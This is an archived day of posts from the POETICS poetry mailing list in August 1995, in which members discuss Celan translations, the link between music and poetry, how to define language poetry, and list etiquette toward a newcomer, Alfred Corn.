The URL is "http://metcon.met.co.nz/nwfc/beard/www/notes27.html". The poem's multi-dimensional structure has eluded my attempts to put it onto paper without "flattening" it, so I've had to put it into hypertext. I'd also love to see some "active readings" from list members with WWW access.

Here are a few readings that I've constructed:

> a common thread, my old letters
> began to fall
>
> no psionic ability, oysters
> 7 days,
> a murmuring, whisper
>
> take your poems, tastefully
> covered up
> learn to see
>
> landscape, rivers,
> mountains,
> a new light, rains
>
> of fire - you are
> dangerous flowers, unfrozen lakes
>
> I stopped
> dancing, began
> to fall,
> brilliant & lucid, it
>
> wasn't easy.

I blindly continued by
careful nurturing the final choice.

Like unpredictable
electricity, the
stoical scheme,
the final choice

to the ceiling. Don't play
games, the stoical scheme of

reasoning power, tomorrow

like today.

I look forward to your readings.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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791. Michael Boughn
Renga free
Fri 25 Aug 1995

Just to note the first renga-free morning since the virus hit. Hallellujia. Maybe we'll survive after all.

Mike
[redacted]

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792. Jonathan A Levin
Re: new & forthcoming
Fri 25 Aug 1995

Readers all--

Just a point of clarification, since Marisa's on the long road to the mormon in the armoire-- the FSG Loy, edited again by Roger Conover, will not be a reprint of Last Lunar... but will instead be a new Selected. Also, am reading the new Sun & Moon Celan, the 1967 Breathturn, as translated/introduced by none

other than Pierre Joris--a tremendous volume, done up really well here. For your pleasure:

THE WRITTEN hollows itself, the
spoken, seagreen,
burns in the bays,

in the liquified names
the dolphins dart,

in the eternalized Nowhere, here,
in the memory of the over-
loud bells in--where only?

who
pants
in this
shadow-quadrat, who
from beneath it
shimmers, shimmers, shimmers?

Back to the shadows--

Jonathan Levin
NYC

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793. H. T. KIRBY-SMITH
music and poetry
Fri 25 Aug 1995

Oh blah.

If the sound techniques of music and poetry are too far removed from each other for this issue to make sense, then perhaps there is a problem with both.

Too recapitulate briefly: Greek poetry was never anything but involved with music; it did not exist apart from music. This is true of epics, dramas, lyrics, and odes. Latin Poetry did not use music but used the Greek musical meters. Early Christian poetry used melodies from synagiogues and popular melodies in its hymns and chanting. What about troubadours, trouveres, minnesingers and meistersingers? Why did Thomas Wyatt beging his poem, "my lute, awake?" Why did Donne title poems "song." Milton was passionate about music. Dryden wrote pieces to be set to music.

In another post I mentioned Dickinson and Whitman. One sang hymns and the other sang operas. The poems of both owe a great deal to music as an analogical form.

Indeed, almost the only good poetry that approaches the assumption in the statement I began with was eighteenth-century closed couplets. Even there, the pentameter was a remote descendant of the decasyllables of the the Chansons de Gestes, which were sung.

Most of Robert Burns's poetry goes to music. The Romantics revived songs and ballads. It's true that Tennyson's and Browning's poetry departed into a sort of self-sustaining range of verbal effects rather remote from music itself, but at the same time Troubadour forms were being revived by others.

Why did T. S. Eliot use titles such as love-song, prelude, rhapsody, not to speak of the Four Quartets? Try to tell Langston Hughes that music and poetry were unrelated. Listen to Ginsberg fusing Buddhist and Jewish chanting.

Poetry and music do go their own ways and can never fuse again as _mousike_, the combination of dance, word, and melody, except in surviving ceremonies such as I once saw some Hopis perform.

Most people who resist linking poetry and music are bothered by the idea that poetry should try to BE music, along the lines of Walter Pater, or else are still stuck in some Imagist outlook that wants to make poetry into a static iconograph.

I guess if you are willing to throw out Pound and Eliot--the one telling us to "compose in the sequence of the musical phrase" and the other informing us that his poems usually began with a sort of impalpable musical impulse--and stick to Pope, Tennyson, Browning (all of whom I enjoy reading) and a lot of extremely dull contemporary poets (none of which I enjoy reading) then you can safely ignore the relation of poetry to music. But you have to overlook an awful lot of poetry to do this. And to do that, you have to remain uninformed about the origins of poetry.

Oh I forgot Poe. And Longfellow. Horrible examples of what happens when poetry tries too hard to make its own music.

To lighten up: I just remembered a Punch cartoon of years ago. An old American Indian is speaking to a young Indian, saying: "Now, Hiawatha, you are a man. Now you must learn to use trochaic tetrameters."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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794. **Herb Levy**
Size vs Use
Fri 25 Aug 1995

On Wed, 23 Aug 1995 23:54:31 +0000 Joseph Zitt sent:

> *On 23 Aug 95 at 7:37, Herb Levy wrote:*
>
> *Even most of the more mainstream poets, including some who may still be interested in heroics, seem largely to have given on the idea of a big, big masterpiece.*
>
> *Do you mean that people have stopped doing huge pieces, or that an equation of the hugeness of a piece with its value which once existed has gone away? Some of us are still working on big, big pieces -- I've got one in progress that will run 668 pages (I know this ahead of time due to the chance operations that pre-structured it), and Ron's still in the midst of his "The Alphabet" (I don't know what others are up to on the big projects front -- is Armand Schwerner still writing Tablets?).*

Obviously there are huge, ongoing, potentially unfinishable, long poems still being written, but they aren't like the modernist epics.

I can't find the exact quote right now, but the composer Morton Feldman says somewhere that when he began writing very large works (lasting 1-4 or more hours long) he had to severely limit his materials, because so many of the mammoth post-Wagnerian gesamtekunstwerks were massive failures. I hope that this idea helps.

A major difference is that long poems today don't need to (& the useful ones flat out don't) try to encompass, remake, or "save" the world (you _will_ only make matters worse).

Bests

Herb Levy
[redacted]

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795. **Gwyn McVay**
Re: Criteria (fwd)
Fri 25 Aug 1995

On defining lang-po or not lang-po: It's interesting to me that Susan Howe's is one of the first names that comes up when people try to define lang-po, but if you ask *her* if she is one, she slams her fist on her book and says "No!!" I

wonder how that works with the notions someone mentioned that the artistic character/genre of a work depends on how we perceive it.

Gwyn

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796. Peter Zukowski
introduction
Fri 25 Aug 1995

For the past few months I've been a "voyeur" to the list and feel it's time I reveal myself and join in the discussion.

Actually, I want to respond to Rod Smith's "new and forthcoming" note of 8/24/95 with the statement "Still haven't seen the Celan from Sun & Moon." I've just read _Breathturn_ by Paul Celan, just out from Sun & Moon and wanted to let you know it's one of the most beautiful, puzzling, and significant books of poetry I've acquired over the past several years. It's bilingual, which I'm enjoying, having studied German for six years. I must say that Pierre Joris's translation is nothing short of brilliant, not to mention his introduction.

And since I'm introducting myself to the list, I feel I must put in a plug for _Private Arts_--a Chicago-based journal of fiction, art, and poetry, for which I am one of the co-managing editors. I'll try not to make it sound too much like a sales pitch, although I boast about it constantly.

Our last issue, a sort of rebirth double-issue, (8 and 9)
was a smash success when it was released last
November. It has poetry by Hilda Morley,
Keith Waldrop, John Ashbery, Theodore Enslin, August Kleinzahler,
Ann Lauterbach and a "verbal improvisation" by Robert Duncan.
Fiction contributors include Ewa Kuryluk, Raymond Federman, and
Andrew Allegretti.
Among the visual are a beautifully illustrated and designed memoir
by artist Roger Brown and "pasteups" by Jess.

We are outdoing ourselves with _Private Arts 10_, due out
this fall.
Poetry by Norma Cole, Douglas Messerli, Leslie Scalapino,
Lyn Hejinian, (our friend and guardian) Charles Bernstein,
Larry Eigner, Rosemarie Waldrop, Keith Waldrop, Rosanne
Wasserman, as well as some impressive first-time-published
locals.
Fiction by Curtis White, David Foster Wallace, Christopher
Sorrentino, Ursule Molinaro, John Knoepfle, as well as a

few of my favorite subversive locals--Maureen Daley, Dagfinn von Bretzel, and Jeff Allan.
Essays and reviews include a prosaic/poetic essay "about" Language Poetry by one of our contributing editors, Michael Barrett, Richard Kostelanetz on Fluxus participants Dick Higgins and George Maciunas, and an interview with, and essay about the work of Lyn Hejinian and Leslie Scalapino.
Lastly, the issue seems to have a paradoxically/viscerally stunning visual aesthetic which includes a new (and large) collection of painters and an incredible collaboration between John Yau and Ed Paschke.

Look for William Gass, Carol Maso, Francesco Clemente, and John Matthias in _Private Arts 11_.

At the risk of having overdone the "plug" for _Private Arts_, I'll just say thanks for reading and feel free to contact me personally if you would like to know more. I can be reached at:
[redacted]

Next week I'll post an order form to purchase 8 and 9 and reserve a copy of issue 10.

Maybe my next e-mail note can actually be a statement about some sort of poetics.

It's nice to be corresponding with all of you.

Regards,

Peter Zukowski

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797. Keith Tuma
Re: Criteria (fwd)
Fri 25 Aug 1995

Dear Alfred Corn,

Probably if I had to name just two essays that might serve as a primer for someone coming late to the game they would be the title essay in Silliman's _The New Sentence_ and Bernstein's "Artifice of Absorption" in _A Poetics_--neither of these really "about" langpo so much as concerned with elements and issues relevant to it. And there's CB's _Content's Dream_ too, Perelman's edited collection _Writing/Talks, Steve McCaffery's _North of Intention_, many of the essays in _Poetics Journal_, the now-defunct _Temblor_, Bernstein's

collection _The Politics of Poetic Form_, books by Watten, Perloff, too many others really to mention with a lunch appointmentin an hour. One partly skeptical but useful and too little known essay is Nathaniel Tarn's "Regarding the Issue of New Forms" in _Views From The Weaving Mountain_. Then there's near-famous exchanges between E. Weinberger and Michael Davidson in _Sulfur_, one of the journals I'd recommend, though by no means devoted to langpo, and between Charles Altieri and Jerome McGann in _Critical Inquiry_, which also oncepublished an introductory essay by Lee Bartlett. That's just a start though.

Don't know if there are journals exclusively devoted to langpo--too diverse anymore to be worth characterizing--but a few of the journals I read where some might be found at times (and there are many I won't name--see the SPD catalog) are _Avec_, the defunct _O-blek_, Nate Mackey's _Hambone_, _O.ARS_, _Acts_. _The Difficulties_ and _Temblor_ had great runs and one should look at newer, not-necessarily and in some cases hostile-to-langpo journals such as _Apex of the M_, _Five Fingers review_, _lingo_, etc etc. Maybe somebody with more time than I have today can offer a fuller list, or perhaps refer you to some of the lists available on-line or elsewhere.

Yes, it's true that langpo is one of the places where I (sometimes) find interesting writing. But then what writing can ever really be isolated from other writing anyway? Surely not langpo, which sometimes has a parasitic/punning/ironic relationship to other writing. What would Mr. Silliman do, for instance, without the first line of Pound's _Cantos_?

If anything, I'm sorry to be so limited (short, brief) in the lists I'm making here, and the one I offered yesterday.

Gotta run.

Best, Keith Tuma

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798. **Herb Levy**
Hello Alfred Corn
Fri 25 Aug 1995

Hello Alfred Corn -

I'm posting this directly to you & to POETICS too, so there's no delay.

I'm sorry if this post seems blunt, but I'm more sorry that it's a bit repetitive,I don't have time to edit it further.

Apparently no one has ever discussed the ettiquette of news groups and mail lists with you. You're acting like a twit. Maybe you're a nice guy & don't mean to be such an asshole, so let me explain some things to you.

When you start reading a newsgroup or mail list, you're supposed to shut up and read for a few weeks (at least), so you have a sense of the common discourse, what areas of the topic have already been covered, who's around the group, etc. This is called lurking. Try it, you might be very good at it. When you have an idea of how things work, what shared suppositions the group has, THEN you can start responding to some of the threads, maybe taking the opportunity to introduce yourself, maybe just responding, that doesn't much matter.

You don't just barge in to a mail list, ask a lot of questions and expect everyone to stop what they're doing and explain their lives to you. POETICS is a lot different than CAP-L, in terms of style & subject matter. If you want to know how it differs, you should spend some time reading the list before you start asking questions.

Not only is it more polite to lurk for a while til you get the feel of things, you'll also look a lot less ignorant when you start asking question. There's really no excuse for you to not know how few so-called language poets are on the list or how diverse the aesthetic interests of the people who regularly post here are. No excuse, except you didn't lurk before posting.

People have been relatively nice to you cause this is a friendly mail list and you've raised some interesting issues, but that doesn't mean it's okay to keep acting like a jerk. The main question your posts have raised is "who the hell is this guy?"

If you really want to find out what POETICS is about, subscribe to the list and shut up for a month or so. You need to learn how things work here, the rhythms, the jokes, etc. Read it all, even the rengas (if there are any more).

POETICS isn't like CAP-L where a few people polish their prose & check their citations for a week or two before posting an inquiry. It's more crowded, livelier, and for better or for worse, much chattier. People (with some notable exceptions) tend to respond & then clarify as needed.

(To put the degree of activity on the two lists into perspective for those people reading this who are only on POETICS list: I don't read email every day, but this morning was the first time in about a month that I received more than one message from CAP-L. In the last two or three weeks I've received a total of six messages from CAP-L. Four comprised an inquiry, responses & thanks regarding an Anne Sexton film, two were about other films of poets of the same "school." No dumb jokes, no endless renga, (hey where do I sign up?). At it's

busiest, CAP-L might generate as many messages in a week as POETICS does on a busy day. At it's deadest, CAP-L can go weeks without a message. I was not kidding when I wrote that CAP-L is so quiet that I forget to unsubscribe to it.)

Alfred, your first post to POETICS was pretty clever: a quasi-avant garde appropriation of a multi-phasic personality test about how one should best attempt to change someone else's thinking. Arty, a little indirect, but funny. Perhaps you didn't mean it to be read that way. In any case, it (rightly) received a lot of puzzled responses, mostly from people who couldn't tell what you were responding to or whether you were serious.

After that, it's been downhill. You've been obtuse, pushy, abusive, whiny, and just wrongheaded.

Great, you've made a big noise. Now, stop acting like you're writing a childrens' encyclopedia article about language poetry and chill out. Subscribe to POETICS and lurk til you understand it or don't bother to post to the list. You can find out what you need to know in a library or via email. This ploy of just getting the "relevant" POETICS articles forwarded to you is bullshit.

And anyway, you're missing all of the secret mesostic messages about you in the "innocent" posts.

Bests

Herb Levy
[redacted]

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799. **Anmarie Trimble**
Re: who is this guy?
Fri 25 Aug 1995

He's worse than a lurker as
>he isn't even part of the list.
>
>> Lindz

A word from the closet. I'm reaching out beyond the hangers and garment bags to ask: what's so horrible about being a lurker? I assume lurkers are those of us who don't jump into the conversation but instead sit on the sidelines and listen/read. Are we vile eavesdroppers? I didn't know there were any rules for subscribing to this list. I'm here to learn. So I'm shy and lurkively learning for now. When I signed on a couple weeks ago, I didn't have a clue about what anyone was talking about, but I quickly found myself running to bookstores to

read some of the poets discussed on this list. This lurker is very happy to lurk for now.

Since I wrote this, am I still a lurker?

-Anmarie Trimble

PS Everytime I see Corn posted the word *cornpone* pops into my head. corn chip corn doger cornuto our people call it maize

↑ Index

800. **maria damon**
Re: who is this guy?
Fri 25 Aug 1995

---

anmarie trimble writes:
> He's worse than a lurker as
> >he isn't even part of the list.
> >
> >> Lindz
>
> A word from the closet. I'm reaching out beyond the hangers and garment
> bags to ask: what's so horrible about being a lurker? I assume lurkers are
> those of us who don't jump into the conversation but instead sit on the
> sidelines and listen/read. Are we vile eavesdroppers? I didn't know there
> were any rules for subscribing to this list. I'm here to learn. So I'm
> shy and lurkively learning for now. When I signed on a couple weeks ago, I
> didn't have a clue about what anyone was talking about, but I quickly found
> myself running to bookstores to read some of the poets discussed on this
> list. This lurker is very happy to lurk for now.
>
> Since I wrote this, am I still a lurker?
>
>
> -Anmarie Trimble
>
> PS Everytime I see Corn posted the word *cornpone* pops into my head.
> corn chip corn doger cornuto our people call it maize

hey, i wish i had the self-discipline to be a lurker. i bet a lot of others on the lists wish so too. these cornposts are indeed very peculiar --a number of us have responded that we are taken aback at the assumption that we are hostile. i'm willing to believe ac is approaching "us" (who'e we, kimo sabe?) in good faith, as keith t and chris s say --i'd like also to believe that he accords the same openness to us. those of you who are on other lists --are we unusually feisty or

exclusionary? what's the typical list-protocol and how do we conform/deviate? just curious.--md

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801. **Daniel Bouchard/College/hmco**
Re: who is this guy?
Fri 25 Aug 1995

---

way to be, Anmarie. I've only been reading the list since yesterday, and intend to listen and learn for a while. Just want to offer my support, altho I don't believe "Lindz" meant the remark to be nasty.

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802. **Lindz Williamson**
Re: who is this guy?
Fri 25 Aug 1995

Dear -Anmarie Trimble

I was making punches to cause reactions. That's what I do, if you lurk for long enough you'll see that, but hey you spoke so welcome aboard.

About this music/poetry thing I don't know what to think. I agreee with someone who said that music and poetry can't merge back into the original form used by the classics. It seems that popular music has become this overpowering demon is "mainstream" society and poetry is on the outside. Awhile ago I was at the Grunt GAllary viewing a friend of a friend's Art Opening. After the show she and her band put on a show, a "performance piece" that appeared to be a reading with some jazz in the background. But she didn't want to be called poet since she is an artist and everything she produces is art.

Along the same lines I've really been into Morphine lately (the band , not the drug) and they have a couple songs that seem to me to be more poetry than music. When I saw an interview with Mark Sandman (vocalist and writer for Morphine)He claimed to be doing research in the origins and language and experimenting with phonetics, word formations and constructions. NOW is he a poet or a songwriter, or does it even matter?

Lindz

Ps Evveryone should pick up MOrphine's latest disc "YEs", It's GOOOOOOD.

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803. **Ryan Knighton**
Re: Language Poetry
Fri 25 Aug 1995

I don't know if I agree taxonomy is the death of poetry. It doesn't seem to do anything to the poems but make them move more. Animals are still wild within their species and genus'. It's just an *attempt* to create a stable language for them and, in the attempt succeeding with some, failing with others, stubborn features are foregrounded for grabs. I don't think Adam's ttask was about mastery.

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804. **Alan Sondheim**
Re: Language Poetry
Fri 25 Aug 1995

By Adam, the biblical? I must disagree with you; animals are not wild at this point; they are managed, accounted-for, and this accounting is taxonomic. With animals, there can be no turning-back if extinction is to be avoided, but the taxonomic is the first stage of encapsulation.

With poetry, why should there be a stable language? Isn't instability perhaps one of the conditions of poetry? At least some poetry?

Which for me is where for example Coolidge's Flag Flutter & US Electric fit in - half in the measure towards, have back there, at the time instability throughout, and liberating in the moment

Alan

On Fri, 25 Aug 1995, Ryan Knighton wrote:

> *I don't know if I agree taxonomy is the death of poetry. It doesn't seem to do anything to the poems but make them move more. Animals are still wild within their species and genus'. It's just an *attempt* to create a stable language for them and, in the attempt succeeding with some, failing with others, stubborn features are foregrounded for grabs. I don't think Adam's ttask was about mastery.*

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805. **Patrick Phillips**
Re: Corn
Fri 25 Aug 1995

Though I too found Corn's thing more than a little beyond the pale, I think the "sit and wait a while til youre savvy" thing is almost as stilted. Societies are

metted out in stochastic time i.e., we all are to be broadsided as part of the discourse. So to prescribe a function at this social junction is tantamount to elitism. There is no need to embrace, but certainly _personal_ rejection speaks more of a will to protect the "status" (or priviledged drift) of this "venue." It seems to me that this kind of ordained determinism is almost as naive.

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806. **maria damon**
Re: Language Poetry
Fri 25 Aug 1995

---

ryan knighton writes:
> I don't know if I agree taxonomy is the death of poetry. It doesn't
> seem to do anything to the poems but make them move more. Animals
> are still wild within their species and genus'. It's just an *attempt*
> to create a stable language for them and, in the attempt succeeding
> with some, failing with others, stubborn features are foregrounded for grabs.
> I don't think Adam's ttask was about mastery.

this is really interesting. i always thought that was exactly what adam's task was all about --language aquisition inseparable from mastery --both in the sense of self-empowerment --a feeling of accomplishment --and of a feeling of power over.--md

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807. **Susan Schultz**
More Forwards (fwd)
Fri 25 Aug 1995

---------- Forwarded message ----------
Date: Fri, 25 Aug 1995 04:54:04 -1000
From: Indepen <[redacted]>
To: Susan Schultz <[redacted]>
Subject: More Forwards

To the POETICS list: To answer the question "Who the hell is this guy?" I guess I'm not quite satisfied with Ron Silliman's thumbnail biography. I've published six books of poetry and one book of criticism with Viking Penguin. The poetic line I belong to, insofar as it can be separated out from the general Western tradition begins with Whitman, goes through Crane and Stevens, on up through the poets discussed in David Kalstone's book about autobiographical poetry, titled --Five Temperaments--. The ones he talked about were Lowell, Bishop, Ashbery, Merrill, and Rich. I met Kalstone when I was just beginning to publish and he shaped my ideas about what poetry could do. I'd like to think I'd added

something of my own to this poetic line, but it isn't my job to say whether I have. Silliman says I sometimes write about homosexuality for --The Nation--. I have no idea what he means unless he's referring to a review of the stories of Edmund White (a gay fiction writer) that is in the current issue. A few prizes have come to me for my poetry, but as the posts on this list amply demonstrate, I'm not especially well known, certainly less well known than, say, Lyn Hejinian. I teach as an adjunct in the Columbia MFA Program, but have done visiting stints at other places as well--UCLA, Yale, the U. of Cincinnati. Will this do as an intro?

To David Kellogg: No putdown intended. We were speaking at cross purposes. I thought you understood that what I was asking for was the aesthetic of LP, what makes it different from other approaches to writing poetry. The criteria you gave overlap with the ones I apply, so I felt frustrated in the wish to get a general introduction to the movement. Yes, I could just plunge in by myself, but I did that before and got nowhere. A critical guide can save years of wasted effort. Meanwhile I see that LP is only one kind of poetry that interests you, not *the* only. That sounds reasonable to me. What I had been bothered by was the foundational "exclusionary" line of argument I had heard elsewhere: that LP is the "real" poetry of our time and the future; in fact, one of the recent posts takes this position, dismissing the other approach as predictable and boring. (I had used the term "mainstream" before because some of POETICS's posters did.) It begins to sound like the POETICS list is quite varied, with perhaps only a few subscribers exclusively L= poets. So I'd been given the wrong sense of what the list was. I begin to wonder, too, whether the big division proclaimed between the LP movement and the rest of poetry is really useful. Some of the recent posts suggest that it isn't. For after all, poetry using unfamiliar methods of communication goes back at least to Rimbaud (1870) and Mallarme' (1880-1890). Everybody knows about Dada, Modernism, Surrealism, and Black Mountain. Plus various unclassifiables like Gertrude Stein, Laura Riding, Bunting and Ashbery. And the Naropa Institute. So I'm not yet certain that LP has introduced anything that wasn't already there. If writing non-representationally is the key, we have to acknowledge that almost none of Wallace Stevens is representational. If disjunctiveness is the key, then no one could be more disjunctive than Ashbery. If collage is it, then the Surrealists did it long ago--ditto for automatic writing. Meanwhile the other poetry, the one based on narrative, on representing sensory impressions verbally, or providing philosophical or meditative discourse, was always attentive to experimentation and used some of the new techniques a well. Just maybe the same situation obtains today, with some poets fusing the two approaches. My own impression of Hejinian was that --My Life-- was an autobiographical narrative and therefore at some level representational; plus a constant intrusion of cognitive

"interference," words used like (metaphor) paint--a kind of alogical interruption to transparent narrative. Isn't this a fusion of the two? To use a comparison from music, "classical" music of this century has again and again borrowed from jazz--but then so has jazz borrowed from "classical" music over and again. There's no Stravinsky without jazz and there's no Mingus without Stravinsky. Maybe LANGUAGE poetry really isn't a separate movement at all, but instead is just --poetry--, multisourced and not really describable in simple terms as truly distinct from the other poetry? As for signing on to POETICS, I'll think about it, Maria, it's just that there are demands on my time and a mailbox already overloaded with messages from two other groups.

Alfred Corn

↑ Index

808. **Issa Clubb**
Re: new & forthcoming
Fri 25 Aug 1995

> *Also, am reading the new Sun & Moon Celan, the 1967*
> *Breathturn, as translated/introduced by none other than Pierre Joris--a*
> *tremendous volume, done up really well here.*
> *Jonathan Levin*
> *NYC*

yeah, it's fantastic--I've been setting poems side by side with the older Hamburger translations, which highlights the consistent moves by Joris towards an English that is both hyper-literal and free to sound *made* rather than spoken. The notes are also extensive & extremely helpful for those of us without a lick of German.

Pierre, since the introduction mentions that other later Celan volumes have been translated, does this mean they'll also be coming out soon?

Also does anyone know the info for Rosmarie Waldrop's translation of Celan's prose?

_____
Issa Clubb

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809. **Lindz Williamson**
Re: Hello Alfred Corn
Fri 25 Aug 1995

Way to go Herb! That was very tactful, I wish I had the composure to be so bold yet eloquent. Unfortunately, I'm just a loud mouth. And I didn't mean to

offend lurkers. I just like to know who's out there, personally I feel weird lurking, like a poetic pervert or something, it's my own hangup and i'm dealing with it.

I was wondering again about this whole song/ poem thing. Who defines me as a poet?

I say I'm a poet therefore I am. I write therefore I'm a writer? Or is publication the mode of defining. I exist on the page so I must be valuable? Or I've read on a stage, so I'm worth hearing. If my voice is sweet then am I musical? If I read with a piano or flute accompaning me is that a song. Does anyone remember the opening to the last night ofthe Blaser readings where someone did a cute Blake peice, something about a Robin, was he singing a poem, or reading a song.

Lindz

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810. **maria damon**

Re: who is this guy?

Fri 25 Aug 1995

---

lindz writes
 When I saw an interview with Mark Sandman (vocalist and writer for Morphine)He
claimed to be doing research in the origins and language and experimenting with
phonetics, word formations and constructions. NOW is he a poet or a songwriter,
or does it even matter?
>

like the question about scat singing as sound poetry, i'd vote it doesn't matter. some people, i guess, use the word "poet" to confer dignity (as in, "some songwriters are poets, some aren't," meaning some songwriters rise above the lowly term sw., or "so & so's not a songwriter, s/he's a POET" meaning the same thing) but i think those are connotative rather than denotative uses of the word. for my $, smokey robinson is one of the cleverest lyricists around, though he's not experimental --cd one call him a new formalist? and talk about deterritorialization --ella fitzG coulda coined the term. --md

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811. Theresa Krystyna Smalec
Re: the renga that took the place of itself
Fri 25 Aug 1995

>
> Yeah, but what will we do if some wag titles her message RENGA and
> then makes an interesting point about Nicole Brossard instead?
>
well, you know how dearly we all value the referent. shouldn't
it go without saying that RENGA means RENGA and not Nicole
Brossard or mandarins or morning orange splintered grey?
shouldn't it go without saying that if you're going to write a
renga, then you can't make interesting points about anything
which falls outside the semantic jurisdiction of RENGA? come on,
based on all this recent discussion of CRITERIA, it seems we know
and unquestionably trust the rules of language 'governing' this list...
theresa smalec

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812. Jordan Davis.
in this self-regard
Fri 25 Aug 1995

Juliana Spahr where are you?
As I recall your posts were in
a broken format that was pleasant
to read. Pleasant for lurkers and
others are the archived files of the
poetics discussion in which Marc
Nasdor can be seen turning into me
and Joe Amato Steve Evans Kali Tal
and many many others shine

Bill Luoma where are you?
You almost never send us poems
any more and it's true Jorge does
but I want his and yours both
in this my only newspaper Charles
Bernstein's piece "The Only Utopia
Is In a Now" btw Alfred Corn was
what carried me over the threshhold
to respect for the writing of
the people on this mailing list

and a lot of people who mumble
"luddite" when I bring up the net

What do you want to happen
on this list? or how do you want
this discussion to go?

Jordan

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813. Steve Evans
Re: new & forthcoming
Fri 25 Aug 1995

Hi Issa,

Having just finished doing an entry on Rosmarie for the Dictionary of Literary Biography, I find that I have surplus knowledge on her career.

The publication info is

Manchester, England: Carcanet, 1986
Riverdale-on-Hudson, NY: Sheep Meadow, 1990.

Whether the book is still in print is something I haven't checked, but a few calls on your part would settle that.

It's been a long time since I've heard news of you, tho I did catch a glimpse of you strolling around the lower east side back in late winter/early spring. Hope all is well!

Yours,

Steve

> *been translated, does this mean they'll also be coming out soon?*
>
> *Also does anyone know the info for Rosmarie Waldrop's translation of Celan's prose?*
>
> _____
> *Issa Clubb*

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814. maria damon
Re: More Forwards (fwd)
Fri 25 Aug 1995

---

alfred c writes:

To the POETICS list:
>
>
> To David Kellogg: No putdown intended. We were speaking at
> cross purposes. I thought you understood that what I was asking for was
> the aesthetic of LP, what makes it different from other approaches to
> writing poetry. The criteria you gave overlap with the ones I apply, so
> I felt frustrated in the wish to get a general introduction to the
> movement. Yes, I could just plunge in by myself, but I did that before
> and got nowhere. A critical guide can save years of wasted effort.
> Meanwhile I see that LP is only one kind of poetry that interests you,
> not *the* only. That sounds reasonable to me. What I had been bothered by
> was the foundational "exclusionary" line of argument I had heard
> elsewhere: that LP is the "real" poetry of our time and the future; in
> fact, one of the recent posts takes this position, dismissing the other
> approach as predictable and boring. (I had used the term "mainstream"
> before because some of POETICS's posters did.)
> It begins to sound like the POETICS list is quite varied, with
> perhaps only a few subscribers exclusively L= poets. So I'd been given
> the wrong sense of what the list was.
> I begin to wonder, too, whether the big division proclaimed
> between the LP movement and the rest of poetry is really useful. Some of
> the recent posts suggest that it isn't. For after all, poetry using
> unfamiliar methods of communication goes back at least to Rimbaud (1870)
> and Mallarme' (1880-1890). Everybody knows about Dada, Modernism,
> Surrealism, and Black Mountain. Plus various unclassifiables like
> Gertrude Stein, Laura Riding, Bunting and Ashbery. And the Naropa
> Institute. So I'm not yet certain that LP has introduced anything that
> wasn't already there. If writing non-representationally is the key, we
> have to acknowledge that almost none of Wallace Stevens is
> representational. If disjunctiveness is the key, then no one could be
> more disjunctive than Ashbery. If collage is it, then the Surrealists did
> it long ago--ditto for automatic writing. Meanwhile the other poetry, the
> one based on narrative, on representing sensory impressions verbally, or
> providing philosophical or meditative discourse, was always attentive to
> experimentation and used some of the new techniques a well. Just maybe
> the same situation obtains today, with some poets fusing the two
> approaches. My own impression of Hejinian was that --My Life-- was an
> autobiographical narrative and therefore at some level representational;
> plus a constant intrusion of cognitive "interference," words used like
> (metaphor) paint--a kind of alogical interruption to transparent
> narrative. Isn't this a fusion of the two? To use a comparison from

> music, "classical" music of this century has again and again borrowed from
> jazz--but then so has jazz borrowed from "classical" music over and again.
> There's no Stravinsky without jazz and there's no Mingus without
> Stravinsky.
> Maybe LANGUAGE poetry really isn't a separate movement at all,
> but instead is just --poetry--, multisourced and not really describable in
> simple terms as truly distinct from the other poetry?
> As for signing on to POETICS, I'll think about it, Maria, it's
> just that there are demands on my time and a mailbox already overloaded
> with messages from two other groups.
>
> Alfred Corn

cool. NOW i see the beginnings of what i'd call dialogue...(probly just seeing my own name in print did it for me) --i tend to think along somewhat similar lines, though i've been drifting toward langpo more these days --i'm an old naropa-ite, Beat-version-of-rimbaud affiliated poete manquee/monkee turned cultural studies student, hired to teach contemporary poetry and poetics, so have gotten back into it in the last few yrs, withering on the vine here in Minensota surrounded by people who won't touch me w/ a 10ft pole cuz of what they think i "stand for", until the NuYoricans came to town a coupla yrs ago and i had that Anne Sexton feeling --these are my people, they speak language. had some language to live for again. the reason i urge u to join the list is that it's fun in an anthropological participant/observer way --i myself have flipped from observer to participant i guess --if herb is right, cap-l's volume isn't prohibitive -- u cd just join for a week or two, as an ethnographer, make friends and probably not influence people but have a good time trying. cheers, brother --md

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815. Ryan Knighton
Re: Language Poetry
Fri 25 Aug 1995

---

re Alan's reply (sorry my editor won't copy):

If classifying poetry isn't possible, being alive and various, then how can classifying or the attempt to do so be the "death" of it. It seems to me to be a vital step: one of many catalysts which set poetry off. The imperfections of any taxonomy help articulate what is chaotic, unique and important to a variety of agonistic processes. Don't get me wrong, I don't think this is the *only* way one can access works, of course. But the failure of classification is another reminder that poetry, like language itself, is bigger than us , older than us and, if anything, having us (thank you Mr. Blaser). What it is that prevents its

naming is the critical detail. And I don't see an apocalypse in trying to understand.

Best

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816. Ryan Knighton
Re: More Forwards (fwd)
Fri 25 Aug 1995

Something i was thinkin bout was raised here. I'm not sure if LP is just refusal to refer or resisting representation. In Howe's case, their seems to be a distinct political condition which manifests itself in this kind of writing (misrepresentation? disrepresentation?) This is why I say I find LP closer to theory than most other schools. But, being unfamiliar with others, or less familiar with, say, Andrews, I'm curious what other conditions or contexts yield LPoetry, or if there is indeed something constant other than "refusal".

--Ryan

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817. Chris Scheil
Re: Language Poetry (& the morning Corn report)
Fri 25 Aug 1995

On Fri, 25 Aug 1995, Ryan Knighton wrote:

> *I don't know if I agree taxonomy is the death of poetry. It doesn't seem to do anything to the poems but make them move more. Animals are still wild within their species and genus'. It's just an *attempt* to create a stable language for them and, in the attempt succeeding with some, failing with others, stubborn features are foregrounded for grabs. I don't think Adam's ttask was about mastery.*

